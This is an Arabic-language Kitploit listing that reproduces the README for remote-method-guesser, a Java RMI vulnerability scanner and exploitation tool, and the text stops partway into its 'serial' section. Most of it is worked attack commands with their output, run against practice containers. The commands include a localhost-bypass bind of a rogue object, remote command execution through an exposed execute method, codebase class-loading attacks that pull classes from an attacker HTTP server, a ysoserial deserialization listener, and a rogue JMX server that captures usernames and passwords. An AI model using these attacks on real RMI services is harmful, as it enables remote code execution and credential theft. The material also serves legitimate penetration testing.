Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
remote-method-guesser — ماسح ثغرات Java RMI | Kitploit
أدوات/GitHubGitHub/qtc-de/remote-method-guesser
ماسحات الثغرات الأمنيةالاستغلالاختبار الاختراق
GitHubqtc-de/remote-method-guesser

remote-method-guesser

ماسح ثغرات Java RMI

عرض المستودع
930106منذ 2 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Remote Method Guesser


maven CI maven CI

remote-method-guesser (rmg) هو Java RMI ماسح ضعف ويمكن استخدامه لتحديد والتحقق من الثغرات الأمنية الشائعة على نقاط نهاية Java RMI.

مثال Remote Method Guesser

BHUSA Arsenal 2021

تم تقديم remote-method-guesser في Black Hat USA2021 ضمن جلسات Arsenal. التسجيل للجلسة والشرائح المقابلة متاحة للعامة ويمكن العثور عليها باستخدام الروابط التالية:

  • الشرائح: https://www.slideshare.net/TobiasNeitzel/remotemethodguesser-bhusa2021-arsenal
  • التسجيل: https://youtu.be/t_aw1mDNhzI

example server ssrf server spring server

يحتوي مستودع remote-method-guesser على ثلاثة خوادم أمثلة يمكن استخدامها لممارسة تعداد Java RMI والهجمات. يعرض rmg-example-server خدمات RMI العادية التي يمكن تعدادها واستغلالها باستخدام remote-method-guesser. يعرض rmg-ssrf-server خدمة HTTP معرضة لهجمات SSRF ويشغل خدمات RMI التي تستمع فقط على localhost. يمكن استخدام هذا للتدرب على خيارات remote-method-guesser --ssrf و --ssrf-response. يعرض spring-remoting-server واجهات RMI التي تم إنشاؤها عبر Spring Remoting. هذه مختلفة قليلاً عن Java RMI العادية ويمكن استخدامها لاختبار تكامل Spring Remoting المرتبط بـ remote-method-guesser. جميع الخوادم متاحة كحاويات داخل GitHub Container Registry:

  • SSRF Server GitHub Package
  • Example Server GitHub Package
  • Spring Remoting Server GitHub Package

جدول المحتويات


  • التثبيت
  • العمليات المدعومة
    • bind, rebind و unbind
    • call
    • codebase
    • enum
    • guess
    • known
    • listen
    • objid
    • roguejmx
    • scan
    • serial
  • ميزات إضافية
  • صورة Docker
  • شكر وتقدير

التثبيت


rmg هو مشروع maven ويجب أن يكون التثبيت مباشرًا. مع تثبيت maven فقط قم بتنفيذ الأوامر التالية لإنشاء ملف .jar قابل للتنفيذ:```console $ git clone https://github.com/qtc-de/remote-method-guesser $ cd remote-method-guesser $ mvn package

root@kitploit:~
يمكنك أيضًا استخدام الحزم المُعدة مسبقًا التي تم إنشاؤها لكل [إصدار](https://github.com/qtc-de/remote-method-guesser/releases).
يتم إنشاء الحزم المُعدة مسبقًا لفرع التطوير تلقائيًا ويمكن العثور عليها في *GitHub* [صفحة الإجراءات](https://github.com/qtc-de/remote-method-guesser/actions).

*rmg* لا يتضمن *ysoserial* كاعتماد. لتفعيل دعم *ysoserial*، يجب عليك إما تحديد المسار إلى ملف ``ysoserial.jar`` الخاص بك كوسيطة إضافية (مثل ``--yso /opt/ysoserial.jar``) أو تغيير المسار الافتراضي داخل [ملف تكوين rmg](https://github.com/qtc-de/remote-method-guesser/blob/HEAD/src/config.properties) قبل بناء المشروع.

*rmg* يدعم أيضًا الإكمال التلقائي لـ *bash*. للاستفادة من الإكمال التلقائي، يجب أن يكون لديك مشروع [completion-helpers](https://github.com/qtc-de/completion-helpers) مثبتًا. إذا تم الإعداد بشكل صحيح، فإن مجرد نسخ [نص الإكمال](https://github.com/qtc-de/remote-method-guesser/blob/HEAD/resources/bash_completion.d/rmg) إلى مجلد ``~/.bash_completion.d`` لديك يمكّن الإكمال التلقائي.```console
$ cp resources/bash_completion.d/rmg ~/bash_completion.d/

العمليات المدعومة


فيما يلي، يتم تقديم أمثلة قصيرة لكل عملية متاحة. للحصول على وصف أكثر تفصيلاً، يجب عليك قراءة مجلد التوثيق الذي يحتوي على معلومات أكثر تفصيلاً حول rmg و Java RMI بشكل عام. جميع الأمثلة المقدمة تستند إلى rmg-example-server و rmg-ssrf-server. كلاهما موجود ضمن هذا المستودع في مجلد docker ويمكن استخدامهما لممارسة تعداد Java RMI. يمكنك إما بناء الحاويات المقابلة بنفسك أو تحميلها مباشرة من GitHub Container Registry.```console [qtc@devbox ~]$ rmg -h usage: remote-method-guesser [-h] action ...

rmg v4.0.0 - a Java RMI Vulnerability Scanner

positional arguments: action
bind Binds an object to the registry thats points to listener call Regulary calls a method with the specified arguments codebase Perform remote class loading attacks enum Enumerate common vulnerabilities on Java RMI endpoints guess Guess methods on bound names known Display details of known remote objects listen Open ysoserials JRMP listener objid Print information contained within an ObjID rebind Rebinds boundname as object that points to listener roguejmx Creates a rogue JMX listener (collect credentials) scan Perform an RMI service scan on common RMI ports serial Perform deserialization attacks against default RMI components unbind Removes the specified bound name from the registry

named arguments: -h, --help show this help message and exit

root@kitploit:~
#### bind و rebind و unbind

باستخدام الإجراءات ``bind`` أو ``rebind`` أو ``unbind``، يمكن تعديل *الأسماء المرتبطة* المتاحة داخل *سجل RMI*.
هذا مفيد بشكل خاص للتحقق من ``CVE-2019-2684``، الذي يتجاوز قيود localhost ويُمكن المستخدمين البعيدين من تنفيذ
عمليات bind. عند استخدام إجراء ``bind`` أو ``rebind``، يقوم *remote-method-guesser* بربط كائن ``javax.management.remote.rmi.RMIServerImpl_Stub``
*البعيد* افتراضيًا، وهو *الكائن البعيد* المستخدم بواسطة خوادم *jmx*. بالإضافة إلى ذلك، تحتاج إلى تحديد عنوان
*نقطة النهاية TCP* المقابلة حيث يمكن العثور على *الكائن البعيد* (العنوان الذي يجب أن يتصل به العملاء عندما يحاولون استخدام الكائن المرتبط الخاص بك).```console
[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n 11
[+] RMI registry bound names:
[+]
[+] 	- plain-server2
[+] 		--> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff7, 9040809218460289711]
[+] 	- legacy-service
[+] 		--> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] 		    Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ffc, 4854919471498518309]
[+] 	- plain-server
[+] 		--> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff8, 6721714394791464813]

[qtc@devbox ~]$ rmg bind 172.17.0.2 9010 127.0.0.1:4444 my-object --localhost-bypass 
[+] Binding name my-object to javax.management.remote.rmi.RMIServerImpl_Stub
[+]
[+] 	Encountered no Exception during bind call.
[+] 	Bind operation was probably successful.

[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n 14
[+] RMI registry bound names:
[+]
[+] 	- plain-server2
[+] 		--> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff7, 9040809218460289711]
[+] 	- my-object
[+] 		--> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] 		    Endpoint: 127.0.0.1:4444 ObjID: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]
[+] 	- legacy-service
[+] 		--> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] 		    Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ffc, 4854919471498518309]
[+] 	- plain-server
[+] 		--> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff8, 6721714394791464813]

باستخدام نظام الإضافات لـ remote-method-guesser، يمكن أيضًا ربط كائنات مخصصة بـ سجل RMI. لمعرفة المزيد عن نظام الإضافات، يُرجى الرجوع إلى مجلد التوثيق.

call

باستخدام إجراء call في remote-method-guesser، يمكنك استدعاء طرق عن بُعد دون كتابة أي كود Java. افترض أن الطريقة String execute(String cmd) موجودة على الخادم البعيد. تبدو هذه الطريقة واعدة وقد ترغب في استدعائها باستخدام استدعاء RMI Java عادي. يمكن القيام بذلك باستخدام الأمر التالي:```console [qtc@devbox ~]$ rmg call 172.17.0.2 9010 '"wget 172.17.0.1:8000/worked"' --signature 'String execute(String cmd)' --bound-name plain-server [qtc@devbox www]$ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 172.17.0.2 - - [30/Nov/2021 07:19:06] "GET /worked HTTP/1.1" 200 -

root@kitploit:~
لاحظ أن استدعاء الطرق عن بعد لا يُنتج أي مخرجات افتراضيًا. لمعالجة المخرجات التي يُنتجها إجراء ``call``، تحتاج إلى استخدام [نظام الإضافات](https://github.com/qtc-de/remote-method-guesser/blob/HEAD/docs/rmg/plugin-system.md) الخاص بـ *remote-method-guesser* وتسجيل ``ResponseHandler`` أو استخدام الإضافة الافتراضية `GenericPrint`. يتم تضمين `GenericPrint` في *remote-method-guesser* افتراضيًا ويمكن تفعيلها باستخدام الخيار `--show-response`.```console
[qtc@devbox remote-method-guesser]$ rmg call 172.17.0.2 9010 '"id"' --signature 'String execute(String cmd)' --bound-name plain-server --show-response
[+] uid=0(root) gid=0(root) groups=0(root)

أثناء إجراء call، يتم تقييم الوسائط المقدمة كـ تعبير Java عن طريق إدراجها في القالب التالي: new Object[]{ arg1, arg2, arg3, ... }. لذلك، عليك التأكد من أن الوسائط المقدمة تناسب هذا النمط. على سبيل المثال، استخدام "id" كوسيطة يؤدي إلى خطأ، حيث يتم تمرير الوسيطة كـ id إلى remote-method-guesser ونتيجة لذلك التعبير new Object[]{ id } ليس تعبير Java صحيح. بدلاً من ذلك، تحتاج إلى استخدام '"id"' لأن هذا يؤدي إلى new Object[]{ "id" }، وهو صحيح.

علاوة على ذلك، يجب تحديد الأنواع البدائية في تمثيلها الكائن المقابل (مثل new Integer(5) بدلاً من 5). وإلا فلن تكون قابلة للاستخدام داخل المصفوفة Object[] التي يتم إنشاؤها بواسطة تعبير Java. أثناء استدعاء RMI، يتم استخدام الوسائط المقابلة كما هو مقصود وستناسب توقيع الأسلوب المحدد. لحالات الاستخدام الأكثر تعقيدًا، يمكنك أيضًا تعريف ArgumentProvider مخصص باستخدام نظام الإضافات الخاص بـ remote-method-guesser.

codebase

يدعم Java RMI ميزة تسمى codebases، حيث يمكن للعميل والخادم تحديد عناوين URL أثناء استدعاءات RMI والتي قد تُستخدم لتحميل الفئات غير المعروفة ديناميكيًا. إذا قبل خادم RMI كودبيس محدد من العميل، فقد يؤدي ذلك إلى تنفيذ تعليمات برمجية عن بُعد عندما يوفر العميل فئة Java ضارة أثناء اتصال RMI.

يمكن أن يكون تكوين الكودبيس على خادم RMI مختلفًا للمكونات المختلفة: Activator، DGC، Registry و Application Level. يسمح لك remote-method-guesser باختبار كل مكون على حدة باستخدام إما --signature <method> (مستوى التطبيق)، أو --component act (المفعل)، أو --component dgc (جامع القمامة الموزع) أو --component reg (سجل RMI) مع إجراء codebase.

مستوى التطبيق:```console [qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --signature "String login(java.util.HashMap dummy1)" --bound-name legacy-service [+] Attempting codebase attack on RMI endpoint... [+] Using class ExampleClass with codebase http://172.17.0.1:8000/ during login call. [+] [+] Using non primitive argument type java.util.HashMap on position 0 [+] Specified method signature is String login(java.util.HashMap dummy1) [+] [+] Remote class loader attempted to load dummy class 267eaee13b9e46d2ada471016d693b14 [+] Codebase attack probably worked :) [+] [+] If where was no callback, the server did not load the attack class ExampleClass.class. [+] The class is probably known by the server or it was already loaded before. [+] In this case, you should try a different classname.

[qtc@devbox www]$ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 172.17.0.2 - - [30/Nov/2021 07:23:39] "GET /ExampleClass.class HTTP/1.1" 200 - 172.17.0.2 - - [30/Nov/2021 07:23:39] "GET /267eaee13b9e46d2ada471016d693b14.class HTTP/1.1" 404 -

root@kitploit:~
*RMI Registry*:```console
[qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --component reg
[+] Attempting codebase attack on RMI Registry endpoint...
[+] Using class ExampleClass with codebase http://172.17.0.1:8000/ during lookup call.
[+]
[+] 	Caught ClassCastException during codebase attack.
[+] 	Codebase attack most likely worked :)

[qtc@devbox www]$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.17.0.2 - - [30/Nov/2021 07:26:09] "GET /ExampleClass.class HTTP/1.1" 200 -

جامع القمامة الموزع:```console [qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --component dgc [+] Attempting codebase attack on DGC endpoint... [+] Using class Example with codebase http://172.17.0.1:8000/ during clean call. [+] [+] Caught ClassCastException during codebase attack. [+] Codebase attack most likely worked :)

[qtc@devbox www]$ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 172.17.0.2 - - [30/Nov/2021 07:26:53] "GET /ExampleClass.class HTTP/1.1" 200 -

root@kitploit:~
*المُنشِّط*:```console
[qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --component act
[+] Attempting codebase attack on Activator endpoint...
[+] Using class ExampleClass with codebase http://172.17.0.1:8000/ during activate call.
[+]
[+] 	Caught IllegalArgumentException during codebase attack.
[+] 	Codebase attack was probably successful :)

[qtc@devbox www]$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.17.0.2 - - [30/Nov/2021 07:27:13] "GET /ExampleClass.class HTTP/1.1" 200 -

enum

يقوم الإجراء enum بإجراء عدة فحوصات على نقطة النهاية المحددة لـ Java RMI ويطبع النتائج المقابلة. للحصول على شرح أكثر تفصيلاً حول المخرجات التي يولدها الإجراء enum، يمكنك قراءة صفحة التوثيق المقابلة.```console [qtc@devbox ~]$ rmg enum 172.17.0.2 9010 [+] RMI registry bound names: [+] [+] - plain-server2 [+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class) [+] Endpoint: iinsecure.example:42273 ObjID: [-49c48e31:17d6f8692ae:-7ff7, -3079588349672331489] [+] - legacy-service [+] --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class) [+] Endpoint: iinsecure.example:42273 ObjID: [-49c48e31:17d6f8692ae:-7ffc, -2969569395601583761] [+] - plain-server [+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class) [+] Endpoint: iinsecure.example:42273 ObjID: [-49c48e31:17d6f8692ae:-7ff8, 1319708214331962145] [+] [+] RMI server codebase enumeration: [+] [+] - http://iinsecure.example/well-hidden-development-folder/ [+] --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub [+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer [+] [+] RMI server String unmarshalling enumeration: [+] [+] - Caught ClassNotFoundException during lookup call. [+] --> The type java.lang.String is unmarshalled via readObject(). [+] Configuration Status: Outdated [+] [+] RMI server useCodebaseOnly enumeration: [+] [+] - Caught MalformedURLException during lookup call. [+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false). [+] Configuration Status: Non Default [+] [+] RMI registry localhost bypass enumeration (CVE-2019-2684): [+] [+] - Caught NotBoundException during unbind call (unbind was accepeted). [+] Vulnerability Status: Vulnerable [+] [+] RMI Security Manager enumeration: [+] [+] - Security Manager rejected access to the class loader. [+] --> The server does use a Security Manager. [+] Configuration Status: Current Default [+] [+] RMI server JEP290 enumeration: [+] [+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed). [+] Vulnerability Status: Non Vulnerable [+] [+] RMI registry JEP290 bypass enumeration: [+] [+] - Caught IllegalArgumentException after sending An Trinh gadget. [+] Vulnerability Status: Vulnerable [+] [+] RMI ActivationSystem enumeration: [+] [+] - Caught IllegalArgumentException during activate call (activator is present). [+] --> Deserialization allowed - Vulnerability Status: Vulnerable [+] --> Client codebase enabled - Configuration Status: Non Default

root@kitploit:~
#### guess

عند استخدام إجراء `guess`، يحاول *remote-method-guesser* تحديد الطرق البعيدة الموجودة عن طريق إرسال تجزئات الطرق إلى الخادم البعيد. تتطلب هذه العملية قائمة كلمات تحتوي على تعريفات الطرق المقابلة. يأتي *remote-method-guesser* مع بعض قوائم الكلمات الافتراضية المضمنة في ملف `.jar` أثناء مرحلة البناء. يمكنك تجاوز مواقع قوائم الكلمات إما عن طريق تعديل [ملف تكوين rmg](https://github.com/qtc-de/remote-method-guesser/blob/HEAD/src/config.properties) أو باستخدام الخيارين `--wordlist-file` أو `--wordlist-folder`. يتم تخطي الطرق التي تحتوي على صفر وسيطات أثناء التخمين، لأنها تؤدي إلى استدعاءات أسلوب حقيقية على جانب الخادم. يمكنك تمكين التخمين على الطرق ذات الصفر وسيطات باستخدام الخيار `--zero-arg`.```console
[qtc@devbox ~]$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 	752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 	2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] 	MethodGuesser is running:
[+] 		--------------------------------
[+] 		[ plain-server2  ] HIT! Method with signature String execute(String dummy) exists!
[+] 		[ plain-server2  ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] 		[ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] 		[6562 / 6562] [#####################################] 100%
[+] 	done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] 	- plain-server2 == plain-server
[+] 		--> String execute(String dummy)
[+] 		--> String system(String dummy, String[] dummy2)
[+] 	- legacy-service
[+] 		--> void logMessage(int dummy1, String dummy2)
[+] 		--> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] 		--> String login(java.util.HashMap dummy1)

known

عند تنفيذ إجراء enum، يقوم remote-method-guesser بوضع علامة على bound names المتاحة في RMI registry إما كـ known أو unknown. يعتمد هذا القرار على الصف (class) الذي ينفذه bound name المقابل وما إذا كان الصف المقابل مضمنًا في قائمة النقاط المعروفة الموجودة ضمن مستودع remote-method-guesser. عندما يتم وضع علامة bound name كـ known، يمكنك استخدام إجراء known على الصف المقابل. يؤدي ذلك إلى إرجاع معلومات حول الصف المقابل مثل الطرق البعيدة المتاحة، وصف عام والثغرات المحتملة:```console [qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n 5 [+] RMI registry bound names: [+] [+] - jmxrmi [+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server) [+] Endpoint: iinsecure.example:41991 ObjID: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]

[qtc@devbox ~]$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub [+] Name: [+] JMX Server [+] [+] Class Name: [+] - javax.management.remote.rmi.RMIServerImpl_Stub [+] - javax.management.remote.rmi.RMIServer [+] [+] Description: [+] Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine. [+] This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient [+] method usually passing a HashMap that contains connection options (e.g. credentials). The return [+] value (RMIConnection object) is another remote object that is when used to perform JMX related [+] actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id. [+] [+] Remote Methods: [+] - String getVersion() [+] - javax.management.remote.rmi.RMIConnection newClient(Object params) [+] [+] References: [+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html [+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi [+] [+] Vulnerabilities: [+] [+] ----------------------------------- [+] Name: [+] MLet [+] [+] Description: [+] MLet is the name of an MBean that is usually available on JMX servers. It can be used to load [+] other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean [+] is therefore most of the time equivalent to remote code execution. [+] [+] References: [+] - https://github.com/qtc-de/beanshooter [+] [+] ----------------------------------- [+] Name: [+] Deserialization [+] [+] Description: [+] Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient [+] method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the [+] actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can [+] establish a working JMX connection, you can also perform deserialization attacks. [+] [+] References: [+] - https://github.com/qtc-de/beanshooter

root@kitploit:~
قائمة الفئات المعروفة ووصفها وقائمة الثغرات المعروفة بعيدة كل البعد عن الاكتمال.
من المأمول أن تنمو في المستقبل وهي مدفوعة بمدخلات من مستخدمين آخرين. إذا واجهت *نقطة نهاية RMI*
تنفذ فئة مفقودة حاليًا ولديك معلومات كافية (وصف وطرق متاحة)،
فلا تتردد في إنشاء issue أو طلب سحب (pull request).


#### listen

في بعض الأحيان يكون من الضروري توفير *JRMPListener* خبيث يقدم حمولات إلغاء التسلسل
لاتصالات *RMI* الواردة. ليست هناك حاجة لكتابة مثل هذا المستمع من الصفر، حيث أنه موجود بالفعل في
[مشروع ysoserial](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JRMPListener.java).
يوفر *remote-method-guesser* غلافًا حول تطبيق *ysoserial* يتيح لك إنشاء *JRMPListener*
باستخدام الصيغة المعتادة لـ *rmg*:```console
[qtc@devbox ~]$ rmg listen 0.0.0.0 4444 CommonsCollections6 "touch /dev/shm/test"
[+] Creating ysoserial payload... done.
[+] Creating a JRMPListener on 0.0.0.0:4444.
[+] Handing off to ysoserial...

objid

يمكن استخدام الإجراء objid لعرض معلومات أكثر تفصيلاً عن ObjID. يتم تعيين ObjID لكل RemoteObject عند تصديره بواسطة RMI runtime. معرفة قيمة ObjID مطلوبة للتواصل مع RemoteObject، وهو السبب أيضًا وراء حاجتك عادةً إلى RMI registry. يحتوي RMI registry على ObjID لكل bound name ويعرضها remote-method-guesser أثناء الإجراء enum.```console [qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n11 [+] RMI registry bound names: [+] [+] - plain-server2 [+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class) [+] Endpoint: iinsecure.example:40393 ObjID: [-2bc5d969:17d6f8cf44c:-7ff7, 1096154566158180646] [+] - legacy-service [+] --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class) [+] Endpoint: iinsecure.example:40393 ObjID: [-2bc5d969:17d6f8cf44c:-7ffc, 625759208507801754] [+] - plain-server [+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class) [+] Endpoint: iinsecure.example:40393 ObjID: [-2bc5d969:17d6f8cf44c:-7ff8, -6355415622579283910]

root@kitploit:~
``ObjID`` تتكون قيم  من مكونات مختلفة. يتم عرض هذه المكونات بشكل readable بواسطة الإنسان عند استخدام إجراء `objid` على ``ObjID`` المقابل:```console
[qtc@devbox ~]$ rmg objid '[-2bc5d969:17d6f8cf44c:-7ff7, 1096154566158180646]'
[+] Details for ObjID [-2bc5d969:17d6f8cf44c:-7ff7, 1096154566158180646]
[+]
[+] ObjNum: 		1096154566158180646
[+] UID:
[+] 	Unique: 	-734386537
[+] 	Time: 		1638254048332 (Nov 30,2021 07:34)
[+] 	Count: 		-32759

scan

معظم المعلومات المعروضة ليست مفيدة جدًا، ولكن قيمة Time قد تكون مثيرة للاهتمام. تحتوي هذه القيمة على الوقت الذي تم فيه إنشاء RemoteObject. وبالتالي، فهي تسمح لك بتحديد أشياء مثل مدة تشغيل خادم RMI.

في بعض الأحيان، تحدد خدمات شائعة تُرفق بمكونات Java RMI (JBoss، Solr، Tomcat، ...)، ولكنك لا ترغب في إجراء فحص كامل للمنافذ على المضيف المقابل. في هذه الحالات، يمكن أن يكون إجراء scan مفيدًا. يقوم بإجراء فحص سريع للمنافذ الشائعة لـ RMI فقط ويحاول تحديد خدمات RMI عليها:```console [qtc@devbox ~]$ rmg scan 172.17.0.2 [+] Scanning 112 Ports on 172.17.0.2 for RMI services. [+] [+] [HIT] Found RMI service(s) on 172.17.0.2:9010 (Registry, Activator, DGC) [+] [HIT] Found RMI service(s) on 172.17.0.2:1090 (Registry, DGC) [+] [119 / 119] [#############################] 100% [+] [+] Portscan finished.

root@kitploit:~
افتراضيًا، تستخدم إجراءات المسح قائمة مُعدة مسبقًا من منافذ *RMI* الشائعة. لتخصيص قائمة المنافذ المراد مسحها، يمكنك استخدام الخيار ``--ports``. يقبل هذا الخيار الأرقام العادية ونطاقات الأرقام لتحديد المنافذ. يمكن استخدام رمز الشرطة (``-``) للإشارة إلى قائمة المنافذ الافتراضية.```console
[qtc@devbox ~]$ rmg scan 172.17.0.2 --ports 0-100 1000-1100 9000-9020 35000-36000 40000-45000
[+] Scanning 6225 Ports on 172.17.0.2 for RMI services.
[+]
[+] 	[HIT] Found RMI service(s) on 172.17.0.2:40393 (DGC)
[+] 	[HIT] Found RMI service(s) on 172.17.0.2:1090  (Registry, DGC)
[+] 	[HIT] Found RMI service(s) on 172.17.0.2:9010  (Registry, Activator, DGC)
[+] 	[6234 / 6234] [#############################] 100%
[+]
[+] Portscan finished.

لاحظ أن إجراء scan يتم تنفيذه بطريقة بسيطة وغير موثوقة. إذا كان ذلك ممكناً، يجب عليك دائماً إجراء فحص مخصص للمنافذ باستخدام أدوات مثل nmap. ومع ذلك، فإن إجراء scan يمكن أن يمنحك نبأً سريعاً عن العثور على منافذ RMI.

roguejmx

ينشئ إجراء roguejmx مستمع JMX على نظامك يقوم بالتقاط بيانات اعتماد الاتصالات الواردة. بعد إنشاء المستمع، يقوم remote-method-guesser بطباعة قيمة ObjID المطلوبة للتفاعل معه.```console [qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444 [+] Statring RogueJMX Server on 172.17.0.1:4444 [+] --> Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]

root@kitploit:~
باستخدام عمليتي ``bind`` و ``rebind`` يمكنك حقن هذا المستمع في *سجل RMI* وانتظار اتصال المستخدمين الآخرين بخادمك:```console
[qtc@devbox ~]$ rmg bind 172.17.0.2 9010 172.17.0.1:4444 jmxrmi --bind-objid '[6633018:17cb5d1bb57:-7ff8, -8114172517417646722]' --localhost-bypass
[+] Binding name jmxrmi to javax.management.remote.rmi.RMIServerImpl_Stub
[+]
[+] 	Encountered no Exception during bind call.
[+] 	Bind operation was probably successful.

[qtc@devbox ~]$ jconsole # Connect to 172.17.0.2:9010 with credentials

يتم تسجيل الاتصالات الواردة بواسطة المستمع:```console [qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444 [+] Statring RogueJMX Server on 172.17.0.1:4444 [+] --> Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722] [+] [+] Got incoming call for newClient(...) [+] Username: admin [+] Password: s3crEt!

root@kitploit:~
*remote-method-guesser* يستخدم قيمة *ObjID* ``[6633018:17cb5d1bb57:-7ff8, -8114172517417646722]`` بشكل افتراضي لعمليات *bind*  
والخادم المخادع *JMX*. لذلك ليس من الضروري تحديد *ObjID* يدويًا كما هو موضح أعلاه. يمكنك تغيير قيمة *ObjID* الافتراضية إما عبر وسائط سطر الأوامر أو داخل ملف تكوين *remote-method-guesser*.

يُرجع الخادم المخادع *JMX* استثناء وصول (بيانات اعتماد غير صالحة) لكل اتصال وارد بشكل افتراضي، لكن يمكنك أيضًا توجيه الاتصالات الواردة إلى مثيل *JMX* مختلف. هذا يجعل من الممكن الحصول على بيانات الاعتماد من اتصالات العميل الواردة دون تعطيل أي خدمات. لتوجيه الاتصالات، يجب عليك تحديد الهدف المقابل كوسيطة إضافية. يمكن تحديد الأهداف بطريقتين مختلفتين:

1. عنوان IP ومنفذ سجل RMI مع الاسم المرتبط بمثيل *JMX* المقابل:  ```console
  [qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444 --forward-host 172.17.0.2 --forward-port 9010 --forward-bound-name jmxrmi 
  [+] Statring RogueJMX Server on 172.17.0.1:4444
  [+] 	--> Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]
  [+] 	--> Forwarding connections to: 172.17.0.2:9010:jmxrmi
  [+]
  1. عنوان IP والمنفذ لخدمة JMX نفسها مع قيمة ObjID الخاصة بها: ```console [qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444 --forward-host 172.17.0.2 --forward-port 41001 --forward-objid '[-40935072:17cd9fc77c4:-7ff8, 6731522247396892423]' [+] Statring RogueJMX Server on 172.17.0.1:4444 [+] --> Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722] [+] --> Forwarding connections to: 172.17.0.2:41001:[-40935072:17cd9fc77c4:-7ff8, 6731522247396892423] [+]
root@kitploit:~
#### serial

يستخدم *Java RMI* *كائنات Java المسلسلة* في الاتصال بين العميل والخادم. وهذا يجعله عرضةً
لهجمات *إلغاء التسلسل*. يمكن لهذه الهجمات استهداف *مكونات RMI* المختلفة:

* *مكونات RMI المعروفة* (*داخلية RMI*)
